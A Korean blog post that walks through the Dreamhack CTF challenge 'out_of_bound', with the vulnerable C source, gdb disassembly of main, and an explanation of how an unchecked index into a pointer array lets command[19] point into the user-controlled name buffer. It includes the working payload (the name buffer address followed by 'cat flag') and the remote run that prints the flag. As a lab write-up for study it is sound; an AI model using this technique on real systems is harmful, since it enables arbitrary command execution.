- 🏅Dreamhack - out_of_bound 문제 풀이2024년 11월 13일 23시 54분 35초에 업로드 된 글입니다.작성자: 방세연
🏅Dreamhack - out_of_bound
프로젝트를 하다가 OOB 에러를 발견한 적이 있었는데 드림핵에 이런 문제가 있어서 풀어보기로 했다.
일단 서비스의 바이너리와 소스코드가 주어졌다고 하니 범위를 벗어난 취약점은 보통 코드를 잘 살펴보면 있는 것 같아서 일단 소스코드를 살펴보자.
#include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <string.h> char name[16]; char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" }; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main() { int idx; initialize(); printf("Admin name: "); read(0, name, sizeof(name)); printf("What do you want?: "); scanf("%d", &idx); system(command[idx]); return 0; }
c 기반 파일이다.
Out-of-Bounds란? (a.k.a OOB란?)
배열 등의 지정된 메모리 범위를 벗어나는 인덱스에 접근이 가능해진다면, 예상하지 않은 문제가 발생할 것이다.
버퍼 오버플로우랑 범위를 벗어난 취약점 모두 중요한 취약점인데, 둘의 차이점이 궁금했다.
Buffer Overflow는 `버퍼에 대한 길이 검증을 수행하지 않아 데이터가 버퍼의 경계를 넘어설 때, 인접한 메모리를 덮어씌우고 프로그램 흐름을 변화시킬 수 있는` 취약점이며 버퍼 오버플로우로 인한 위험성은 임의 코드 실행, 메모리 구조 파괴가 존재한다.
char buffer[8]; strcpy(buffer, "This is a very long string"); // buffer의 경계를 넘는 데이터가 쓰여서 오버플로우 발생
Out-of-Bounds는 `인덱스나 포인터가 유효 범위를 벗어날 때, 할당된 범위 외의 메모리에 접근하려고 할 때 예상하지 못한 메모리 값을 읽어오거나 덮어씌울 수 있는` 취약점이며 범위를 벗어난 취약점으로 인한 위험성은 메모리 누수, 정보 노출, 프로그램 충돌 등의 문제가 존재한다.
int arr[5] = {1, 2, 3, 4, 5}; int out_of_bounds_value = arr[10]; // 유효한 범위 (0~4)를 벗어난 참조
다시 코드로 돌아와보면
char name[16]; char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" };
name이랑 command라는 두 가지 배열이 존재하는데, name은 16바이트, command는 OS 명령어로 보여지는 cat, ls, id, ps, file ./oob라는 내용이 담겨있으며, 10개의 포인터를 허용하지만 사실상 5개의 명령어만 존재한다.
여기서 oob라는 파일을 실행하려고 하는 명령어가 있는데 어떤 의도인지 궁금해졌다.
scanf("%d", &idx); system(command[idx]);
문제는 이 부분인데, command에 0~4 범위를 벗어나게 사용자로부터 idx를 입력받으면 그대로 OOB 문제로 발전할 가능성이 있다. 물론 name 배열도 비슷한 문제가 발생할 수 있지만, 16바이트보다 큰 데이터를 입력받는다는건 Buffer Overflow랑 연결되는거니까 둘의 느낌이 다르다는걸 확인해볼 수 있는거다.
그럼 이제 바이너리 파일을 확인해볼 차례이다.
바이너리에 포함된 함수 목록 출력
이건 바이너리에 포함된 함수 목록인데, initialize, main, alarm_handler 같은 c 소스코드에서도 확인했던 함수들이 포함되어있는 것을 확인할 수 있다. 밑에서 디스어셈블링한거에 함수가 어떻게 나타나는지 알아보자.
main함수의 디스어셈블리 확인
(gdb) disassemble main Dump of assembler code for function main: 0x080486cb <+0>: lea 0x4(%esp),%ecx 0x080486cf <+4>: and $0xfffffff0,%esp 0x080486d2 <+7>: push -0x4(%ecx) 0x080486d5 <+10>: push %ebp 0x080486d6 <+11>: mov %esp,%ebp 0x080486d8 <+13>: push %ecx 0x080486d9 <+14>: sub $0x14,%esp 0x080486dc <+17>: mov %gs:0x14,%eax 0x080486e2 <+23>: mov %eax,-0xc(%ebp) 0x080486e5 <+26>: xor %eax,%eax 0x080486e7 <+28>: call 0x804867b <initialize> 0x080486ec <+33>: sub $0xc,%esp 0x080486ef <+36>: push $0x8048811 0x080486f4 <+41>: call 0x80484b0 <printf@plt> 0x080486f9 <+46>: add $0x10,%esp 0x080486fc <+49>: sub $0x4,%esp 0x080486ff <+52>: push $0x10 0x08048701 <+54>: push $0x804a0ac 0x08048706 <+59>: push $0x0 0x08048708 <+61>: call 0x80484a0 <read@plt> 0x0804870d <+66>: add $0x10,%esp 0x08048710 <+69>: sub $0xc,%esp 0x08048713 <+72>: push $0x804881e 0x08048718 <+77>: call 0x80484b0 <printf@plt> 0x0804871d <+82>: add $0x10,%esp 0x08048720 <+85>: sub $0x8,%esp 0x08048723 <+88>: lea -0x10(%ebp),%eax 0x08048726 <+91>: push %eax 0x08048727 <+92>: push $0x8048832 0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt> 0x08048731 <+102>: add $0x10,%esp 0x08048734 <+105>: mov -0x10(%ebp),%eax 0x08048737 <+108>: mov 0x804a060(,%eax,4),%eax 0x0804873e <+115>: sub $0xc,%esp 0x08048741 <+118>: push %eax 0x08048742 <+119>: call 0x8048500 <system@plt> 0x08048747 <+124>: add $0x10,%esp 0x0804874a <+127>: mov $0x0,%eax 0x0804874f <+132>: mov -0xc(%ebp),%edx 0x08048752 <+135>: xor %gs:0x14,%edx 0x08048759 <+142>: je 0x8048760 <main+149> 0x0804875b <+144>: call 0x80484e0 <__stack_chk_fail@plt> --Type <RET> for more, q to quit, c to continue without paging-- 0x08048760 <+149>: mov -0x4(%ebp),%ecx 0x08048763 <+152>: leave 0x08048764 <+153>: lea -0x4(%ecx),%esp 0x08048767 <+156>: ret End of assembler dump. (gdb)
일단 c언어 소스코드를 보긴 했지만 disassemble main을 통해 main 함수의 디스어셈블리를 좀 더 확인해보자.
Buffer Overflow 문제
0x080486ef <+36>: push $0x8048811 0x080486f4 <+41>: call 0x80484b0 <printf@plt> 0x080486fc <+49>: sub $0x4,%esp 0x080486ff <+52>: push $0x10 0x08048701 <+54>: push $0x804a0ac 0x08048706 <+59>: push $0x0 0x08048708 <+61>: call 0x80484a0 <read@plt>
여기서 0x10은 16바이트를 나타내기 때문에 후에 나타나는 0x804a0ac는 name 배열로 예상할 수 있고, 0x080486f4 <+41>: call 0x80484b0 <printf@plt>이 부분은 printf("Admin name: "); 여기같다. 0x08048708 <+61>: call 0x80484a0 <read@plt>는 read 함수를 사용하는 부분이다.
분석한 코드대로 범위를 초과한 입력이 들어가면 버퍼 오버플로우가 발생할 위험이 크다.Out-of-Bounds 문제
0x0804871d <+82>: add $0x10,%esp 0x08048720 <+85>: sub $0x8,%esp 0x08048723 <+88>: lea -0x10(%ebp),%eax 0x08048726 <+91>: push %eax 0x08048727 <+92>: push $0x8048832 0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt> 0x08048734 <+105>: mov -0x10(%ebp),%eax 0x08048737 <+108>: mov 0x804a060(,%eax,4),%eax 0x0804873e <+115>: sub $0xc,%esp 0x08048741 <+118>: push %eax 0x08048742 <+119>: call 0x8048500 <system@plt>
첫번째에서는 scanf를 호출하는 과정이 나타난다.
1. 0x08048723 <+88>에서 lea -0x10(%ebp), %eax로 eax 레지스터에 0x10(%ebp) 주소를 저장한다.
2. 0x08048727 <+92>에서 push $0x8048832("%d")한다 == scanf 형식 문자열을 스택에 푸시한다.
3. 0x0804872c <+97>에서 call __isoc99_scanf@plt를 호출하여 scanf 함수를 실행한다.
4. scanf를 통해 사용자에게 입력받은 값이 -0x10(%ebp) 주소에 저장된다.
두번째에는 문제의 command[idx]에 접근하는 과정이 나타난다.
1. mov -0x10(%ebp),%eax는 scanf로 입력받은 값을 eax 레지스터에 로드한다. (eax는 command 배열의 인덱스)
2. mov 0x804a060(,%eax,4),%eax 여기는 command 배열에서 입력받은 인덱스를 통해 명령어 주소를 가져온다.
배열의 구조 주소는 여기에서 나온다.
0x804a060 : 여기는 command 배열의 시작 주소로 추정해볼 수 있다.
(,%eax,4) : 4바이트 간격으로 eax 인덱스를 사용해 배열에 접근한다. (eax=0 -> 첫번째 명령어, eax=1 -> 두번째 명령어)그럼 핵심은 eax 값이 초과하면 Out-of-Bounds가 발생하는거 아닌가?
즉, eax=5를 넘어서거나 eax=음수값일 때 메모리 문제가 발생하게 되는 것이다.
근데 이런걸 어디에 활용해야 할지 생각해봤는데 최종적인 목적은 flag파일을 cat해야 하는 것인데 그건 또 name이랑 command를 모두 고려해야 한다는 결과가 나온다.
//command 배열 시작 주소 0x08048737 <+108>: mov 0x804a060(,%eax,4),%eax //name 배열 시작 주소 0x08048701 <+54>: push $0x804a0ac
위 정보를 통해 각각의 시작 주소는 0x804a060, 0x804a0ac임을 확인할 수 있고,
이 둘의 거리는 76이다.
그런데 eax가 4바이트 간격으로 떨어져 있다고 하니 76/4하면 [19]만큼의 거리로 떨어져 있다는 것을 알 수 있다.
그러니까 command[19]가 곧 name이라는 뜻이 된다..? 라고 생각해볼 수 있다.
그럼
Out-of-Bounds는 `인덱스나 포인터가 유효 범위를 벗어날 때, 할당된 범위 외의 메모리에 접근하려고 할 때 예상하지 못한 메모리 값을 읽어오거나 덮어씌울 수 있는` 취약점
이 점에 유의할 때,
command[19]는 name 버퍼와 메모리 상 겹쳐 있게 되고, 이는 즉 name 버퍼의 주소를 참조하도록 오버랩 된건데,
여기서 name 버퍼에 원하는 명령을 넣으면 그 명령이 command[19]를 통해 실행할 수 있게 되는거다.
이때 command가 포인터 배열인게 취약점의 핵심인데, 만약 일반 문자열 배열이였다면 system() 함수 호출 시도가 의도대로 실행되지 않아 OOB가 성공하지 못하게 되었을 것이다. command의 각 요소가 특정 문자열 주소를 가리킨다는걸 악용하는게 이 문제의 핵심이다.
그냥 실행해서 여러가지 입력해보면 안된다. OOB exploit 코드를 작성해보자.
브레이크포인트를 main함수에 걸어서 name의 값 0xf7e406c0을 확인해서 직접 바이너리에서 플래그를 얻는 코드를 작성해봤는데 안된다. 그래서 그냥 dreamhack 원격서버랑 포트번호로 플래그를 얻어봐야겠다...
system함수는 문자열 주소를 인수로 받는데, 이때 인수는 const char * 형태의 문자열 포인터여야 한다.
shell = b"\xb0\xa0\x04\x08" + b"cat flag"
name 퍼버 주소를 리틀 엔디안 형식으로 나타내고, 이 주소를 사용해 command[idx]가 name 버퍼를 가리키도록 한다. name 버퍼에 "cat flag"라는 문자열을 넣어두고 system 함수가 command[19]를 통해 name 버퍼 내용을 실행하게 해보자.
exploit 코드 ⬇️
p = remote(host, port)를 통해 서버에 연결하고, 드림핵 서버와 데이터를 주고받도록 한다.
name의 버퍼의 메모리 주소 b"\xb0\xa0\x04\x08"와 cat flag라는 실행하고자 하는 명령어를 셸 변수에 저장한다.
즉, 셸 변수는 name 버퍼와 cat flag라는 명령어가 합쳐진 상태이다.
p.sendline(shell)을 통해 name 버퍼에 shell 페이로드를 전송하고, 서버는 이 페이로드를 받아 name 버퍼에 name 버퍼주소+cat flag 명령어를 저장하게 된다.
p.sendline(b"19")를 통해 idx 값으로 19를 입력하고, command[19]가 name 버퍼의 시작 주소를 가리키게 된다.
system(command[19])가 호출되면, command[19]가 name 버퍼를 가리키고, name 버퍼 내용 cat flag가 실행된다.
이 main함수의 부분을 기억하고 있다면, system(command[idx])가 어떻게 cat flag까지 도달할 수 있는지 알 수 있을 것이다.char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" }; printf("What do you want?: "); scanf("%d", &idx); system(command[idx]);
플래그를 찾았다!!
┌──(pwn_env)─(root㉿kali)-[/home/kali/Desktop] └─# ./OOB_exploit.py [+] Opening connection to host3.dreamhack.games on port 9914: Done b'Admin name:' b' What do you want?:' [*] Switching to interactive mode DH{}[*] Got EOF while reading in interactive $
다음글이 없습니다.이전글이 없습니다.댓글